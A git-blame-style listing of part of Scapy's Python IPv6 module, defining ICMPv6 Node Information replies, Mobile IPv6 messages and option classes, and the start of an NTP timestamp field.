2440c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code != 0:
24411186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = getattr(pkt, "qtype")
2444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
24451186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 2:
2448c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(s) < 4:
24491186356a1d73fd59b700d8af05e789d0e8899de6gpotter                return s, (0, b"")
2450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = struct.unpack("!I", s[:4])[0]
24511186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"", (2, [ttl, s[4:]])
2452c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2453c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 3: # IPv6 addresses with TTLs
2454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2455c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2456c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while len(s) >= 20: # 4 + 16
2457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2458c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET6, s[4:20])
2459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2460c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[20:]
2461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (3, res)
2462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype == 4: # IPv4 addresses with TTLs
2464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : get the real length
2465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
24660d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            while len(s) >= 8: # 4 + 4
2467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl = struct.unpack("!I", s[:4])[0]
2468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ip  = inet_ntop(socket.AF_INET, s[4:8])
2469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append((ttl, ip))
2470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                s = s[8:]
2471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s, (4, res)
2472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # XXX TODO : implement me and deal with real length
24741186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return b"", (0, s)
2475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "[]"
24790d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2480d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if isinstance(x, tuple) and len(x) == 2:
2481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            t, val = x
2482c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if t == 2: # DNS names
2483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                ttl,l = val
2484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                l = dnsrepr2names(l)
2485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return "ttl:%d %s" % (ttl, ", ".join(l))
2486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif t == 3 or t == 4:
2487d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter                return "[ %s ]" % (", ".join(map(lambda x_y: "(%d, %s)" % (x_y[0], x_y[1]), val)))
2488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return repr(val)
2489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(x) # XXX should not happen
2490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
24910d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# By default, sent responses have code set to 0 (successful)
24920d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6):
2493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - NOOP Reply"
2494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 140, icmp6types),
2495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code", 0, _nireply_code),
2496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
249877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
24990d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
250077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2501c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIReplyDataField("data", None)]
2502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyName(ICMPv6NIReplyNOOP):
2504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Node Names"
2505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 2
2506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25070d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP):
2508c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv6 addresses"
2509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25110d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP):
2512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - IPv4 addresses"
2513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP):
2516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Responder refuses to supply answer"
2517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 1
2518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP):
2520c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Reply - Qtype unknown to the responder"
2521c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    code = 2
2522c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef _niquery_guesser(p):
25257b3e970663abd72697e17b70aba9943ae0dad404Phil    cls = conf.raw_layer
2526b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter    type = orb(p[0])
2527c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    if type == 139: # Node Info Query specific stuff
2528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if len(p) > 6:
2529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype, = struct.unpack("!H", p[4:6])
2530c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = { 0: ICMPv6NIQueryNOOP,
2531c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    2: ICMPv6NIQueryName,
2532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    3: ICMPv6NIQueryIPv6,
25337b3e970663abd72697e17b70aba9943ae0dad404Phil                    4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer)
2534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    elif type == 140: # Node Info Reply specific stuff
2535b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        code = orb(p[1])
2536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if code == 0:
2537c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if len(p) > 6:
2538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype, = struct.unpack("!H", p[4:6])
2539c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cls = { 2: ICMPv6NIReplyName,
2540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        3: ICMPv6NIReplyIPv6,
2541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP)
2542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 1:
2543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyRefuse
2544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif code == 2:
2545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cls = ICMPv6NIReplyUnknown
2546c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return cls
2547c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2548c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2549c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2550c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2551c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###             Mobile IPv6 (RFC 3775) and Nemo (RFC 3963)                ###
2552c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2553c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
2554c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2555c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 ICMPv6 related classes
2556c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2557c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6HAADRequest(_ICMPv6):
2558c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Request'
2559c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 144, icmp6types),
2560c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2561c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2562c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2563c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2564c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15) ]
2565c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2566c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2567c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25680d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6HAADReply(_ICMPv6):
2569c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Home Agent Address Discovery Reply'
2570c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 145, icmp6types),
2571c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2572c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2573c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2574c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitEnumField("R", 1, 1, {1: 'MR'}),
2575c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 15),
2576c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6ListField('addresses', None) ]
2577c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2578c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)+self.payload.hashret()
2579c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2580c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2581c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if not isinstance(other, ICMPv6HAADRequest):
2582c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return 0
25830d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        return self.id == other.id
2584c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
25850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6MPSol(_ICMPv6):
2586c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Solicitation'
2587c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 146, icmp6types),
2588c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2589c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2590c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
2591c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("res", 0) ]
2592c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def _hashret(self):
2593c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
2594c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2595c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6):
2596c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'ICMPv6 Mobile Prefix Advertisement'
2597c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 147, icmp6types),
2598c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
2599c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2600c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id", None),
26010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}),
2602c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XBitField("res", 0, 14) ]
2603c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
2604c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("!H",self.id)
26050d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2606c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
2607c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return isinstance(other, ICMPv6MPSol)
2608c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2609c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Mobile IPv6 Options classes
2610c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2611c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2612c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_mobopttypes = { 2: "Binding Refresh Advice",
2613c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 3: "Alternate Care-of Address",
2614c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 4: "Nonce Indices",
2615c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 5: "Binding Authorization Data",
2616c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 6: "Mobile Network Prefix (RFC3963)",
2617c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 7: "Link-Layer Address (RFC4068)",
26180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                 8: "Mobile Node Identifier (RFC4283)",
2619c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 9: "Mobility Message Authentication (RFC4285)",
2620c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 10: "Replay Protection (RFC4285)",
2621c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 11: "CGA Parameters Request (RFC4866)",
2622c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 12: "CGA Parameters (RFC4866)",
2623c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 13: "Signature (RFC4866)",
2624c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 14: "Home Keygen Token (RFC4866)",
2625c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 15: "Care-of Test Init (RFC4866)",
2626c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                 16: "Care-of Test (RFC4866)" }
2627c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2628c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26290d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass _MIP6OptAlign:
26300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    """ Mobile IPv6 options have alignment requirements of the form x*n+y.
26310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    This class is inherited by all MIPv6 options to help in computing the
26320d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    required Padding for that option, i.e. the need for a Pad1 or PadN
26330d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    option before it. They only need to provide x and y as class
2634c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    parameters. (x=0 and y=0 are used when no alignment is required)"""
2635c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def alignment_delta(self, curpos):
2636c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      x = self.x ; y = self.y
2637c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      if x == 0 and y ==0:
2638c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil          return 0
263963ae11708b02df74dd3e8d2385d2829f3d622d66gpotter      delta = x*((curpos - y + x - 1)//x) + y - curpos
2640c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil      return delta
26410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2642c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2643c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptBRAdvice(_MIP6OptAlign, Packet):
26440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    name = 'Mobile IPv6 Option - Binding Refresh Advice'
2645c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 2, _mobopttypes),
2646c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 2),
26470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    ShortField('rinter', 0) ]
2648c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0# alignment requirement: 2n
2649c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2650c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptAltCoA(_MIP6OptAlign, Packet):
2651c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Alternate Care-of Address'
2652c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 3, _mobopttypes),
2653c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2654c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("acoa", "::") ]
2655c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 6 # alignment requirement: 8n+6
2656c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptNonceIndices(_MIP6OptAlign, Packet):
2658c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Nonce Indices'
2659c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 4, _mobopttypes),
2660c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2661c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('hni', 0),
2662c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField('coni', 0) ]
2663c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 2 ; y = 0 # alignment requirement: 2n
2664c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptBindingAuthData(_MIP6OptAlign, Packet):
2666c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'MIPv6 Option - Binding Authorization Data'
2667c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField('otype', 5, _mobopttypes),
2668c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField('olen', 16),
2669c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    BitField('authenticator', 0, 96) ]
2670c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 2 # alignment requirement: 8n+2
2671c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
26720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963
2673c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = 'NEMO Option - Mobile Network Prefix'
2674c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 6, _mobopttypes),
26755bbe280843fec8d5955914c78f52cb9cef7d61a4Phil                    ByteField("olen", 18),
2676c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("reserved", 0),
2677c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("plen", 64),
2678c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IP6Field("prefix", "::") ]
2679c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 8 ; y = 4 # alignment requirement: 8n+4
2680c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2681c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068
2682c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Link-Layer Address (MH-LLA)"
2683c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 7, _mobopttypes),
2684c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("olen", 7),
2685c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("ocode", 2, _rfc4068_lla_optcode),
2686c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("pad", 0),
2687c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    MACField("lla", ETHER_ANY) ] # Only support ethernet
2688c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2689c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2690c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283
2691c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobile Node Identifier"
2692c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 8, _mobopttypes),
2693c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="id", fmt="B",
2694c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+1),
2695c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "NAI"}),
2696c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("id", "",
2697c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-1) ]
2698c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 0 ; y = 0 # alignment requirement: none
2699c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27000d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We only support decoding and basic build. Automatic HMAC computation is
27010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# too much work for our current needs. It is left to the user (I mean ...
2702c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# you). --arno
2703c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5)
2704c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MIPv6 Option - Mobility Message Authentication"
2705c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("otype", 9, _mobopttypes),
2706c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    FieldLenField("olen", None, length_of="authdata", fmt="B",
2707c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                  adjust = lambda pkt,x: x+5),
2708c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option",
2709c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                                 2: "MN-AAA authentication mobility option"}),
2710c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mspi", None),
2711c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrLenField("authdata", "A"*12,
2712c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                length_from = lambda pkt: pkt.olen-5) ]
2713c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    x = 4 ; y = 1 # alignment requirement: 4n+1
2714c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2715c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Extracted from RFC 1305 (NTP) :
27160d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# NTP timestamps are represented as a 64-bit unsigned fixed-point number,
27170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# in seconds relative to 0h on 1 January 1900. The integer part is in the
2718c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# first 32 bits and the fraction part in the last 32 bits.
2719c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NTPTimestampField(LongField):
2720c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
2721c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x < ((50*31536000)<<32):
2722c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return "Some date a few decades ago (%d)" % x
2723c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
27240d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to
2725c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # January 1st 1970 :
2726c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        delta = -2209075761
